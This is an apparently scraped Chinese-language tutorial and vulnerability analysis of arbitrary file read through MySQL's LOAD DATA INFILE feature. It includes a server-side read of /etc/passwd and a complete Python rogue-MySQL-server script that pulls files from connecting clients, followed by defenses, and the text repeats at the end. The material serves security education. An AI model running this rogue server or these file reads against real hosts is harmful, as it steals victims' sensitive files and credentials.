通过MySQL LOAD DATA特性来达到任意文件读取
字数 1248 2025-08-26 22:11:15

MySQL LOAD DATA 特性任意文件读取漏洞分析与利用

漏洞概述

MySQL 的 LOAD DATA INFILE 特性允许用户将文件内容导入到数据库表中,但当该功能被滥用时,可以导致任意文件读取漏洞。攻击者可以利用这一特性读取服务器或客户端上的敏感文件,如配置文件、密码文件等。

LOAD DATA INFILE 基础功能

基本语法

LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name'
    [REPLACE | IGNORE]
    INTO TABLE tbl_name
    [FIELDS
        [TERMINATED BY 'string']
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]
    [IGNORE number LINES]
    [(col_name_or_user_var,...)]
    [SET col_name = expr,...]

关键参数说明

  • LOCAL:指定从客户端主机读取文件,而非服务器
  • INFILE 'file_name':指定要读取的文件路径
  • INTO TABLE tbl_name:指定数据导入的目标表
  • FIELDS TERMINATED BY:指定字段分隔符

漏洞利用场景

场景1:读取服务器端文件

当攻击者能够登录目标MySQL服务器但数据库中没有重要数据时,可以尝试:

  1. 检查服务器是否启用LOAD DATA INFILE功能:

    SHOW VARIABLES LIKE '%secure%';
    
    • secure_file_priv值为NULL:禁止导入/导出
    • secure_file_priv值为目录路径:限制在该目录下操作
    • secure_file_priv值为空:无限制
  2. 检查用户是否有FILE权限:

    SELECT File_priv FROM mysql.user WHERE User = 'username';
    
  3. 读取服务器文件示例:

    LOAD DATA INFILE '/etc/passwd' INTO TABLE test.test FIELDS TERMINATED BY '\n';
    

场景2:读取客户端文件(更危险)

通过伪造MySQL服务器诱使客户端连接并发送文件内容:

  1. 攻击流程:

    • 攻击者搭建恶意MySQL服务器
    • 诱使受害者连接(如通过修改Web应用配置)
    • 服务器响应认证成功
    • 发送LOAD DATA LOCAL请求读取客户端文件
    • 客户端执行并将文件内容发送给攻击者
  2. 技术原理:

    • MySQL客户端不跟踪请求命令,完全基于服务器响应执行
    • 只需响应Auth OK即可欺骗客户端
    • 客户端会自动执行服务器发送的LOAD DATA请求

漏洞利用工具

Python伪造MySQL服务器脚本

#!/usr/bin/python
#coding: utf8
import socket

# 要读取的文件路径
# Linux: filestring = "/etc/hosts"
# Windows: filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"

HOST = "0.0.0.0"  # 监听所有接口
PORT = 3306
BUFFER_SIZE = 1024

# 1. MySQL问候包
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"

# 2. 认证成功响应
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"

# 3. 恶意Payload
payloadlen = "\x0b"
padding = "\x00\x00"
payload = payloadlen + padding + "\x0b\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)

while True:
    conn, addr = s.accept()
    print 'Connection from:', addr
    conn.send(greeting)
    
    while True:
        data = conn.recv(BUFFER_SIZE)
        print " ".join("%02x" % ord(i) for i in data)
        conn.send(authok)
        data = conn.recv(BUFFER_SIZE)
        conn.send(payload)
        print "[*] Payload send!"
        data = conn.recv(BUFFER_SIZE)
        if not data: break
        print "Data received:", data
        break
    
    conn.close()

现有工具

  • Rogue-MySql-Server Tool:专门用于读取连接客户端文件的MySQL虚假服务器

受影响客户端

  1. PHP客户端

    • mysql/mysqli扩展:默认受影响
    • PDO扩展:默认禁止,需设置PDO::MYSQL_ATTR_LOCAL_INFILE为true
  2. Python MySQLdb:需要设置local_infile连接选项

防御措施

  1. 服务器端:

    • 设置secure_file_priv为特定目录或NULL
    • 限制FILE权限的分配
    • 监控异常LOAD DATA操作
  2. 客户端:

    • 禁用LOCAL INFILE功能(启动时加--disable-local-infile
    • 不信任第三方MySQL服务器
    • 更新客户端库到最新版本
  3. 应用开发:

    • 避免使用LOCAL INFILE功能
    • 对用户提供的MySQL连接参数进行严格过滤

参考链接

  1. Abusing MySQL LOCAL INFILE to read client files
  2. MySQL connect file read
  3. Database Honeypot by design - Yuri Goltsev
MySQL LOAD DATA 特性任意文件读取漏洞分析与利用 漏洞概述 MySQL 的 LOAD DATA INFILE 特性允许用户将文件内容导入到数据库表中,但当该功能被滥用时,可以导致任意文件读取漏洞。攻击者可以利用这一特性读取服务器或客户端上的敏感文件,如配置文件、密码文件等。 LOAD DATA INFILE 基础功能 基本语法 关键参数说明 LOCAL :指定从客户端主机读取文件,而非服务器 INFILE 'file_name' :指定要读取的文件路径 INTO TABLE tbl_name :指定数据导入的目标表 FIELDS TERMINATED BY :指定字段分隔符 漏洞利用场景 场景1:读取服务器端文件 当攻击者能够登录目标MySQL服务器但数据库中没有重要数据时,可以尝试: 检查服务器是否启用LOAD DATA INFILE功能: secure_file_priv 值为 NULL :禁止导入/导出 secure_file_priv 值为目录路径:限制在该目录下操作 secure_file_priv 值为空:无限制 检查用户是否有FILE权限: 读取服务器文件示例: 场景2:读取客户端文件(更危险) 通过伪造MySQL服务器诱使客户端连接并发送文件内容: 攻击流程: 攻击者搭建恶意MySQL服务器 诱使受害者连接(如通过修改Web应用配置) 服务器响应认证成功 发送LOAD DATA LOCAL请求读取客户端文件 客户端执行并将文件内容发送给攻击者 技术原理: MySQL客户端不跟踪请求命令,完全基于服务器响应执行 只需响应Auth OK即可欺骗客户端 客户端会自动执行服务器发送的LOAD DATA请求 漏洞利用工具 Python伪造MySQL服务器脚本 现有工具 Rogue-MySql-Server Tool :专门用于读取连接客户端文件的MySQL虚假服务器 受影响客户端 PHP客户端 : mysql/mysqli扩展:默认受影响 PDO扩展:默认禁止,需设置 PDO::MYSQL_ATTR_LOCAL_INFILE 为true Python MySQLdb :需要设置local_ infile连接选项 防御措施 服务器端: 设置 secure_file_priv 为特定目录或NULL 限制FILE权限的分配 监控异常LOAD DATA操作 客户端: 禁用LOCAL INFILE功能(启动时加 --disable-local-infile ) 不信任第三方MySQL服务器 更新客户端库到最新版本 应用开发: 避免使用LOCAL INFILE功能 对用户提供的MySQL连接参数进行严格过滤 参考链接 Abusing MySQL LOCAL INFILE to read client files MySQL connect file read Database Honeypot by design - Yuri Goltsev